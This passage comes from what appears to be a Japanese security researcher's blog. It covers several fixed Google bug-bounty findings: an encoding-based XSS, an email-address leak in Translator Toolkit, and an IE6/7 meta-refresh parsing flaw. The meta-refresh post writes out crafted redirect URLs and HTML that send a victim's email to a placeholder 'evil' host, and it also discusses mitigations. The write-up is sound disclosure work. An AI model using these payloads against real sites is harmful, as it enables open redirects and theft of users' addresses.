その後さらに調べると、oeにはUTF-32以外にも、ブラウザがサポートしていない、ASCIIと互換性のないエンコーディングを指定することができており、IE以外のすべてのブラウザでXSSを起こすことが可能でした。


はい、こんなのでした。
この問題をみつけた時点では、制度の上ではaccounts.google.comのXSSは$3,133.7が設定されていましたが、今回の問題は、複数のページにわたって影響し、Coolなバグだとして、特別に$5,000をもらいました。

個人的にもUTF-32を使った実際の問題というのはこれが初めてで面白かったです。
ブラウザがサポートするエンコーディングなど、エンコーディングについていろいろ調べていなければ思い付かなかったと思います。役に立たなそうなことを地道に調べ続けてよかったです。

2013/01/30

Google Translator Toolkitに存在したGoogleアカウントのメールアドレスを知られる問題

今月まだ一度もブログを更新してないので、とりあえず小ネタを。

GoogleのTranslator Toolkitという、オンラインで共同でドキュメントの翻訳作業ができるツールに存在した、Googleにログイン中のユーザーのメールアドレスを攻撃者に知らせてしまう問題について書きます。

Translator Toolkitは、共同で翻訳作業をしたい人のメールアドレスを指定し、招待することで、アクセス可能な人を制限しながら翻訳作業をすることができるツールです。
アクセスを許可していない人から翻訳ドキュメントのURLにアクセスされても、以下のように、アクセス許可が与えられていないというメッセージが現れ、適切に閲覧制限できているのがわかります。




ところが一方、 victim.masatokinugawa がこのエラーメッセージを見ているとき、翻訳ドキュメントのオーナーの画面には以下のように表示されていたのです。 




なぜか、victim.masatokinugawaが閲覧者として表示されています。
ページのソースを見ると、完全なメールアドレスも確認できます。




これは明らかに、閲覧者を表示する機能に問題があります。本来は、閲覧を許可されたユーザーが翻訳ドキュメントを開いている場合だけ、閲覧者として表示するようにすべきです。
この不適切な表示により、Googleアカウントへログイン中のユーザーに、攻撃者の翻訳ドキュメントにアクセスさせることで、攻撃者はアクセス者のメールアドレスを不正に知ることが可能でした。

招待していない側からのアクセスは適切に制限できているのに、招待されていない側が漏洩の被害者になるという、面白いバグだと思います。

この問題は2012年4月2日に報告し、しばらくして修正されました。
またGoogleの脆弱性報酬プログラムにより、$500を頂きました。

2012/12/26

GoogleからNexus 10をもらった

日頃の行いがいいので、もらいました!!
ホリデーギフトという名目で、去年はChromebookを貰った(※受け取ったのは2012年なんだけど、話をもらったのは2011年)んですが、今年はNexus 10を頂きました。



タブレット、僕は1個も持ってなくて、ちょうどほしいと思ってたところだったので、嬉しいです!

今年はどちらかというとブラウザの脆弱性を探す方に力を入れていたので、前年よりはGoogleサービスの脆弱性報告はしていなかったのですが、気が向いた時に探したり、ブラウザの問題絡みでGoogleのサービスに影響を与える問題などを報告したりして、まぁそこそこは報告していました。

最近はこんな、上位報告者のリストみたいなのも掲載されてるみたいで、

The "0x0A List" – Application Security – Google
http://www.google.com/about/appsecurity/hall-of-fame/

僕は0x02位らしいです。 結構上位ですね!
来年もまた、何かあげたくなるような貢献ができるよう頑張りたいと思います。

Thank you Google Security Team!!

2012/03/01

Googleのmetaリダイレクトに存在した問題

Googleに存在したメールアドレスを窃取できた問題について書きます。これは2011年1月30日に報告し、報告後数日以内に修正された問題です。 

こんなページがありました。

http://example.google.com/redirect?continue=http://example.google.com/xyz
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;">
<script>
location.replace("http://example.google.com/xyz")
</script>

continueというパラメータに指定されたURLをmetaタグとlocation.replace()にそれぞれ入れて、JavaScriptの有効/無効の設定に関わらずリダイレクトできるように書かれたページです。
Googleのサービス間を移動する時にこんなコードがよく使われています。

ここでは「"<>\」などの特殊な文字は適切に処理されており、指定できるURLも*.google.comに限られ、外部サイトやjavascriptスキームへリダイレクトするなどのことはできないようになっていました。

が、1つ意識されていない問題がありました。

Internet Explorer 6/7では、以下のようなmetaタグの指定で、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url='http://good/'url='http://evil/'">


ポイントは後ろに指定されたURLがリダイレクト先として選択されるということです。これをさっきのコードにあてはめてみます。

http://example.google.com/redirect?continue=http://example.google.com/xyz%27url=%27http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=&#39;http://evil/&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3d\x27http://evil/")
</script>

先ほど説明したIE6/7の挙動に従えば、metaタグは外部サイトへリダイレクトするよううまくはまっているように見えます。が、これ、はまっているとしても、JavaScriptが有効の場合はどうあがいてもlocation.replace()が優先してリダイレクトに使用されるので、これだけだとIE6/7でJavaScriptが無効の時にオープンリダイレクタになるというだけの話で(Googleはオープンリダイレクタを脆弱性とみなさないことを表明しているし)、ちょっとしょぼいです。


もっと悪用できないかあれこれ考えていると、別の箇所で似たようなコードがあり、リダイレクトする時に、ログインユーザーの場合はcontinueのURLにメールアドレスを付加してリダイレクトしているページを見つけました!
よって以下のようにすることでメールアドレスをhttp://evil/へ送信することができました。

http://example2.google.com/redirect?continue=http://example.google.com/xyz%27url=http://evil/
<meta http-equiv="refresh" content="0;url=&#39;http://example.google.com/xyz&#39;url=http://evil/?usr=victim@gmail.com&#39;">
<script>
location.replace("http://example.google.com/xyz\x27url\x3dhttp://evil/?usr=victim@gmail.com")
</script>

これでオープンリダイレクタ以上の問題にできました、やった!通常安全になることが多い、JavaScriptを無効にしているユーザーだけが影響を受ける点が面白いと思います。

Googleのこの場合は、metaタグのcontent属性のurl=に続くURLをシングルクォートで囲っているのに、continueのパラメータに含まれるシングルクォートを適切に処理しないままここへ挿入していたことになるので、メールアドレスを盗めるかどうかにかかわらず明らかに途中でリダイレクトURLを区切ってしまうバグがあった訳でしたが、url=の後のURLを引用符で囲っていない場合は、IE6/7において「;」(セミコロン)で同様に区切らすことができます。IE6/7では以下のようなタグで、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url=http://good/;url=http://evil/">

このIE6/7の問題へ対処しつつmetaタグで動的に同じドメイン内に制限してリダイレクトさせるには、基本的なXSS対策("<>などの処理)と挿入されるURLを検証するだけでなく、metaタグに挿入されるセミコロンにもなんらかの処理をしなければならないことを、頭の片隅に覚えておくとよいかもしれません。最悪の場合、IE6の古いバージョンだとここへjavascriptスキームのURLを指定すると動くものがあり、XSSにもなり得ます。少なくとも手元のフルパッチのIE6sp3では動作しませんでしたが、過去のバージョンで動いていた記録が以下にあります。

 'Internet Explorer 6 Meta Refresh Parsing Weakness' - MARC
 http://marc.info/?l=bugtraq&m=112431630719702&w=2

 さらにマニアックな話をすると、単独のセミコロンを処理しても、エンコーディングとして不正なバイトを適切に処理していないと、まだオープンリダイレクタ(あるいは上の資料のXSS)になる恐れがあります。具体的には、「[不正バイト]&amp;url=http://....」のように文字参照に変換される文字(この場合「&」)を不正なバイトに喰わせて文字参照を破壊し、セミコロンを出現させることでできたりしますね!IE6なんかは、フルパッチかつUTF-8でも単独の[0xC0-0xFF]を生に通過させると後続の文字を侵します。

まぁ、IE6/7が悪いと思いますが、IE6/7がそのように動くということは受け止めなければなりません。
 ちなみにこのバグでは、報酬として$1337をもらっています。

追記

はせがわようすけさんがこの問題に対する考察と対策方法を書いて下さいました。「;」をパーセントエンコードすればいいやんって単純に思ってましたが、そうはいかない時もある訳で、リダイレクトを正常に機能させつつ、 この問題に対処するのは難しいですね…。一番手っとり早いのはmetaリダイレクトを動的に生成することを避けるか、IE6/7が爆発することだと思います。

 IE6/7の<meta refresh>では「;」で区切ってURLが複数指定できる問題
http://d.hatena.ne.jp/hasegawayosuke/20120301/p1